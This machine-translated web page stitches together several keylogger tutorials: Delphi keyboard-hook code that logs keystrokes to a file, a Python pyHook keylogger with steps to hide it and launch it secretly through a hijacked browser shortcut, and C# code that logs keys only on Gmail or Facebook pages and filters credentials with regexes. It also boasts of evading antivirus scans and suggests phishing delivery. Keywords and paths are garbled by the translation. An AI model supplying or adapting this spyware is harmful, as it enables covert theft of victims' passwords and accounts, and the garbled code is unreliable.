funkcija KProc(Kod: cijeli broj; wParam: Riječ; lParam: LongInt): LongInt; stdcall;
konst
KState: cijeli broj = 1073741824; //code
"tipka pritisnuta"

var
Simv: ShortString;
KL: niz Char; //For
provera rasporeda tastature

FStruct: TOFSTRUCT;
F:TextFile;
//promjenljiva
fajl za snimanje dnevnika.

početi

// izbaciti nepotrebne
poruke
if (lParam i KState)<>0 onda
početi

Izlaz;
kraj;

AssignFile(F, "keylog.txt");

// pokušavam otvoriti
fajl "keylog.txt":
ako je OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR onda
početi
ReWrite(F);
// ako datoteka nije
kreirali - stvaramo.

kraj
elseAppend(F);
//ako postoji, pišite
kraj.

Simv:=chr(0); //resetiraj na nulu
varijabla simbola pročitanog sa tastature.

// analizirati kod
taster pritisnut
case wParam of
// brojevi
48..57: Simv:=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv:="8";
105: Simv:="9";
189,109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
kraj;

GetKeyboardLayoutName(KL); //
provera rasporeda

ako je KL = "00000409" onda // Ako
latinica:

početi
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv:=Chr(wParam);
kraj;
kraj;
kraj;
ako je KL = "00000419" onda
// Ako
ruski

početi
case wParam of
219: Simv:="X";
221: Simv:="ʺ̱";
186: Simv:="F";
222: Simv:="E";
188: Simv:="B";
190: Simv:="Yu";
191: Simv:=".";
65: Simv:="F";
...
87: Simv:="C";
88: Simv:="H";
89: Simv:="N";
90: Simv:="I";
kraj;

//ako simbol nije prazan (tj.
ako je pritisnut alfanumerički taster)
//zatim ga zapišite u datoteku
ako Simv<>"" onda
Pisanje (F, Simv);
//zatvaramo fajl
Zatvori datoteku(F);

// poslati poruku
druge zamke u sistemu
Rezultat:=CallNextHookEx(KHook, kod, wParam, lParam);
kraj;

početi
//Postavi zamku
za presretanje poruka sa tastature.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

Ovaj program se takođe može pojednostaviti
ovisno o primjeni - ako
recimo da treba da brojite samo jednom
lozinku sa birača - onda možete postaviti
provjeravamo prozore dok nam ne zatrebaju i kada treba
će postati aktivan - učitajte biblioteku
key1.dll, sačekajte određeno vrijeme
u koje će korisnik imati vremena da unese ove znakove
tastaturu, a zatim ispraznite biblioteku i
završiti program. Ovako nešto :)

hINSTAGE=Učitaj biblioteku("key1.dll");
Spavanje(10000);
//sačekajte 10 sekundi za ovo
vrijeme kada će korisnik upisati lozinku.
//vrijeme se može povećati ovisno
ovisno o korisnikovom nivou inhibicije
// i njegova brzina kucanja na tastaturi :)

FreeLibrary(hINSTAGE);

PS: Sav gornji materijal je dat
isključivo uz demo i
opšte obrazovne ciljeve, postavio je autor
Imam zadatak da pokažem
programski algoritam tipa "nadograđeni".
keylogger" i sve
odgovornost za korištenje ovoga
materijal pada na vas (ogroman
teret 🙂) Implementacija koda sadrži
manje nepreciznosti koje zapravo ne štete
algoritam - pokušajte ih sami pronaći)).

PSS: Naravno, keylogger ne može samo
obavlja svoju glavnu funkciju -
zapravo dugme za pisanje pritiska na dnevnik, ali i
promijenite vrijednosti pritisnutih tipki prema vašim potrebama
ukus - ali kako to učiniti i čemu služi
može jednostavno biti od vitalnog značaja - u
sljedeći put :)

Zdravo, QUAZAR je ponovo tu. Danas ću vam pokazati kako da napravite jednostavan keylogger u Pythonu. Naravno, ovaj keylogger se ne može takmičiti sa takvim divovima kao što su, ali unatoč tome može pronaći svoju primjenu.

Šta je keylogger?

Detaljno o tome šta je keylogger i o vrstama keyloggera možete pročitati u članku ““. Da biste pronašli dodatne materijale o ovoj temi, koristite pretragu stranice koja se nalazi u gornjem desnom kutu. Samo unesite riječ "keylogger" ili "keylogger".

Jednostavan keylogger u Pythonu

Za kreiranje keyloggera potrebno nam je:

  • Operativni sistem: Windows ili MacO (može se koristiti i bilo koji Linux, ali lično nisam probao)
  • Python instaliran na ciljnoj mašini, kao i posebne biblioteke.

Ovaj materijal je samo u informativne svrhe. Informacije predstavljene u ovom članku date su samo u informativne svrhe. Ni urednici web stranice www.site niti autor publikacije ne snose nikakvu odgovornost za bilo kakvu štetu uzrokovanu materijalom u ovom članku.

Kreiranje jednostavnog Keyloggera u Pythonu

Prvo morate preuzeti i instalirati Python.


Jednostavan keylogger u Pythonu

Nakon instalacije Pythona, potrebno je da instalirate module "pyHook" i "pywin32". Na ovoj stranici naći ćete 32-bitne i 64-bitne verzije za Windows i druge OS. Preuzmite "PYhook" i "pyWin32" u skladu sa instaliranom verzijom Python-a i Windows-a (32-bitna ili 64-bitna).


Keylogger u Pythonu. PYhook modul
Keylogger u Pythonu. pyWin32 modul

Nakon preuzimanja, instalirajte i otvorite IDLE (Python GUI) meni iz Start menija.

Jednostavan keylogger u Pythonu

Idite na meni „Datoteka“ i kliknite na stavku „Nova datoteka“. Zatim zalijepite keylogger kod:

#Naziv: QUAZAR
#Website: www.site
import pyHook, pythoncom, sys, logovanje
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(događaj):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return Tačno
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

I sačuvajte ga tako što ćete pozvati datoteku Keylogger.pyw. Samo nemojte spremati datoteku u korijenski direktorij C: gdje su vam potrebna administratorska prava za kopiranje i brisanje datoteka. Kreirajte novi folder na svom C: disku ili nekoj drugoj lokaciji na kojoj vam nisu potrebna administratorska prava da kopirate datoteke i tamo spremite Keylogger.pyw.

Možete odabrati bilo koju lokaciju kao izlaznu datoteku izvještaja “file_log = “C:keyloggerlog.txt”, ali poželjno je, naravno, neku skrivenu lokaciju na vašem tvrdom disku. U ovom primjeru, spremit ću datoteku izvještaja na disk u korijenskom direktoriju C:. Uostalom, nemam šta da krijem.

Automatsko pokretanje keyloggera u Pythonu

Keylogger je spreman. Sada moramo biti sigurni da se keylogger pokreće skriven od korisnika i automatski kada se Windows pokrene. Ovo se može implementirati na različite načine. Pokušajmo to učiniti pomoću bat datoteke povezivanjem pokretanja keyloggera sa nekim programom ili registracijom u pokretanju.

Prvo kreirajte bat datoteku. Kopirajte i zalijepite sljedeći kod u Notepad:

::Naziv: QUAZAR
::Website: www.site
@echo off
start "" "C:keyloggerkeylogger.pyw"
start "" "C:Program FilesOperalauncher.exe"

U prvom redu treba da unesete putanju do datoteke keylogger.pyw (u mom slučaju “C:keylogger.pyw”). U drugom redu morate unijeti putanju do programa koji korisnik obično koristi (u mom slučaju pretraživač Opera).

Nakon uređivanja, sačuvajte fajl sa ekstenzijom .bat (u mom slučaju logger.bat) na nekoj skrivenoj lokaciji na vašem računaru (u mom slučaju u “C:keylogger.bat”).

Sada idite na radnu površinu i odaberite prečicu za često korišteni program (u mom slučaju, ovo je pretraživač Opera). Kliknite desnim tasterom miša da biste pozvali kontekstni meni i otišli na svojstva prečice. U polje “Objekt” unesite putanju do keylogger bat datoteke “C:keyloggerlogger.bat”.

Nakon unošenja izmjena, promijenit će se i ikona prečice. Ali ovo se lako može riješiti na kartici sa svojstvima (pogledajte snimak ekrana iznad).

Hakerski svijet se može podijeliti u tri grupe napadača:


1) “Skids” (skripta kiddies) – mali hakeri početnici koji skupljaju dobro poznate dijelove koda i uslužnih programa i koriste ih za kreiranje jednostavnog zlonamjernog softvera.


2) „Kupci“ su beskrupulozni preduzetnici, tinejdžeri i ostali željni uzbuđenja. Na Internetu kupuju usluge za pisanje takvog softvera, uz njihovu pomoć prikupljaju razne privatne informacije, a eventualno ih i preprodaju.


3) “Black Hat Coders” - programski gurui i stručnjaci za arhitekturu. Oni pišu kod u notepad i razvijaju nove exploite od nule.


Može li neko sa dobrim programskim vještinama postati posljednji? Mislim da nećete početi kreirati nešto kao regin (link) nakon što ste prisustvovali nekoliko DEFCON sesija. S druge strane, vjerujem da bi službenik za informacijsku sigurnost trebao ovladati nekim konceptima na kojima se gradi zlonamjerni softver.


Zašto su osoblju za sigurnost informacija potrebne ove sumnjive vještine?


Upoznaj svog neprijatelja. Kao što smo raspravljali na blogu Inside Out, morate razmišljati kao prestupnik da biste ga zaustavili. Ja sam specijalista za informacijsku sigurnost u Varonisu i prema mom iskustvu, bit ćete jači u ovom zanatu ako razumijete koje poteze napadač može napraviti. Stoga sam odlučio započeti seriju postova o detaljima koji stoje iza zlonamjernog softvera i različitih porodica alata za hakovanje. Kada shvatite koliko je lako kreirati softver koji se ne može otkriti, možda ćete želeti da preispitate bezbednosne politike vašeg preduzeća. Sada detaljnije.


Za ovu neformalnu klasu "hacking 101" potrebno vam je neko znanje programiranja (C# i java) i osnovno razumijevanje Windows arhitekture. Imajte na umu da je u stvarnosti zlonamjerni softver napisan u C/C++/Delphiju kako ne bi ovisio o okvirima.


Keylogger


Keylogger je softver ili neka vrsta fizičkog uređaja koji može presresti i zapamtiti pritiske tipki na kompromitovanoj mašini. Ovo se može smatrati digitalnom zamkom za svaki pritisak na tastaturi.
Često se ova funkcija implementira u drugim, složenijim softverima, na primjer, Trojancima (Remote Access Trojans RATS), koji osiguravaju isporuku presretnutih podataka nazad napadaču. Postoje i hardverski keyloggeri, ali su rjeđi jer... zahtijevaju direktan fizički pristup mašini.


Međutim, kreiranje osnovnih funkcija keyloggera prilično je lako programirati. UPOZORENJE. Ako želite da isprobate nešto od sljedećeg, provjerite imate li dozvole i da ne ometate postojeće okruženje, a najbolje je sve to učiniti na izoliranom VM-u. Dalje, ovaj kod neće biti optimizovan, samo ću vam pokazati redove koda koji mogu izvršiti zadatak, ovo nije najelegantniji niti optimalan način. I na kraju, neću vam reći kako napraviti keylogger otporan na ponovno pokretanje ili pokušati učiniti ga potpuno nevidljivim pomoću posebnih tehnika programiranja, kao i zaštitu od brisanja čak i ako se otkrije.



Da biste se povezali na tastaturu, trebate samo koristiti 2 reda u C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Možete saznati više o funkciji GetAsyncKeyState na MSDN-u:


Za razumijevanje: ova funkcija određuje da li je tipka pritisnuta ili otpuštena u vrijeme poziva i da li je pritisnuta nakon prethodnog poziva. Sada stalno pozivamo ovu funkciju da primamo podatke sa tastature:


1. dok (tačno) 2. ( 3. Thread.Sleep(100); 4. za (Int32 i = 0; i< 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

sta se desava ovde? Ova petlja će ispitivati ​​svaki ključ svakih 100 ms kako bi odredila njegovo stanje. Ako se jedan od njih pritisne (ili je pritisnut), na konzoli će se prikazati poruka o tome. U stvarnom životu, ovi podaci se čuvaju u baferu i šalju napadaču.


Smart keylogger

Čekaj, ima li smisla pokušavati ukloniti sve informacije iz svih aplikacija?
Kod iznad povlači neobrađeni unos sa tastature iz bilo kog prozora i polja za unos trenutno ima fokus. Ako su vaš cilj brojevi kreditnih kartica i lozinke, onda ovaj pristup nije baš efikasan. Za scenarije iz stvarnog svijeta, kada se takvi keyloggeri izvršavaju na stotinama ili hiljadama mašina, naknadno raščlanjivanje podataka može postati jako dugo i na kraju besmisleno, jer Informacije vrijedne za napadača mogu do tada biti zastarjele.


Pretpostavimo da želim da dobijem Facebook ili Gmail akreditive za prodaju lajkova. Tada je nova ideja aktivirati keylogging samo kada je prozor pretraživača aktivan i riječ Gmail ili facebook nalazi se u naslovu stranice. Korišćenjem ove metode povećavam šanse za dobijanje akreditiva.


Druga verzija koda:


1. while (true) 2. ( 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. ( 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Prijavite se ili se prijavite")) 8. ( 9. //Provjera tipkovnice 10. ) 11. ) 12. Thread.Sleep(100); 13. )

Ovaj isječak će otkriti aktivni prozor svakih 100 ms. Ovo se radi pomoću funkcije GetForegroundWindow (više informacija o MSDN-u). Naslov stranice se pohranjuje u varijablu buff, ako sadrži gmail ili facebook, tada se poziva fragment skeniranja tastature.


Time smo osigurali da se tastatura skenira samo kada je prozor pretraživača otvoren na facebook i gmail stranicama.


Još pametniji keylogger


Pretpostavimo da je napadač uspio doći do podataka koristeći kod sličan našem. Pretpostavimo i da je dovoljno ambiciozan da zarazi desetine ili stotine hiljada mašina. Rezultat: ogromna datoteka sa gigabajtima teksta u kojoj još treba pronaći potrebne informacije. Vrijeme je da se upoznate sa regularnim izrazima ili regexom. Ovo je nešto poput mini jezika za kreiranje određenih šablona i skeniranje teksta radi usklađenosti sa datim šablonima. Više možete saznati ovdje.


Da pojednostavim, odmah ću dati gotove izraze koji odgovaraju imenima za prijavu i lozinkama:


1. //Tražim poštansku adresu 2. ^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* + \-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) ( 3)(1,3)))$ 3. 4. 5. //Tražim lozinku 6. (?=^.(6,)$)(?=.*\d)(?=.*)

Ovi izrazi su ovdje kao nagoveštaj šta se može učiniti pomoću njih. Koristeći regularne izraze, možete pretraživati ​​(i pronaći!) bilo koje konstrukcije koje imaju specifičan i nepromjenjiv format, na primjer, brojeve pasoša, kreditne kartice, račune, pa čak i lozinke.
Zaista, regularni izrazi nisu najčitljiviji tip koda, ali su jedan od najboljih prijatelja programera ako postoje zadaci raščlanjivanja teksta. Java, C#, JavaScript i drugi popularni jezici već imaju gotove funkcije u koje možete proslijediti regularne regularne izraze.


Za C# to izgleda ovako:


1. Regex re = novi Regex(@"^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"*) +\-/=?\^_`(|)~]+)*@(([\-\w]+\.)+(2,4))|(((1,3)\.) (3)(1,3)))$"); 2. Regex re2 = novi Regex(@"(?=^.(6,)$)(?=.*\d)(?=.*)"); 3. string email = " [email protected]"; 4. string pass = "abcde3FG"; 5. Rezultat utakmice = re.Match(e-pošta); 6. Rezultat utakmice2 = re2.Match(pass);

Pri čemu će prvi izraz (re) odgovarati bilo kojoj e-pošti, a drugi (re2) će odgovarati bilo kojoj alfanumeričkoj strukturi većoj od 6 znakova.


Besplatno i potpuno neprimetno


U mom primjeru, koristio sam Visual Studio - možete koristiti svoje omiljeno okruženje - da kreiram takav keylogger za 30 minuta.
Da sam pravi napadač, onda bih ciljao na neku stvarnu metu (bankarske stranice, društvene mreže, itd.) i modificirao kod da odgovara ovim ciljevima. Naravno, pokrenuo bih i phishing kampanju sa mailovima iz našeg programa, pod krinkom obične fakture ili drugog priloga.


Ostaje jedno pitanje: hoće li takav softver zaista biti nevidljiv od strane sigurnosnih programa?


Sastavio sam svoj kod i provjerio exe datoteku na web stranici Virustotal. Ovo je web-bazirani alat koji izračunava hash datoteke koju ste preuzeli i pretražuje je u bazi podataka poznatih virusa. Iznenadjenje! Naravno, ništa nije pronađeno.



Ovo je glavna stvar! Uvijek možete promijeniti kod i razvijati se, uvijek biti nekoliko koraka ispred skenera prijetnji. Ako ste u mogućnosti da napišete svoj vlastiti kod, gotovo je sigurno da ga nećete moći otkriti. Kompletnu analizu možete pročitati na ovoj stranici.


Glavna svrha ovog članka je pokazati da korištenjem samo antivirusa nećete moći u potpunosti osigurati sigurnost u vašem preduzeću. Potrebna je detaljnija procjena radnji svih korisnika, pa čak i usluga, kako bi se identificirale potencijalno zlonamjerne radnje.


U sljedećem članku ću pokazati kako napraviti verziju takvog softvera koja se zaista ne može otkriti.

Instrukcije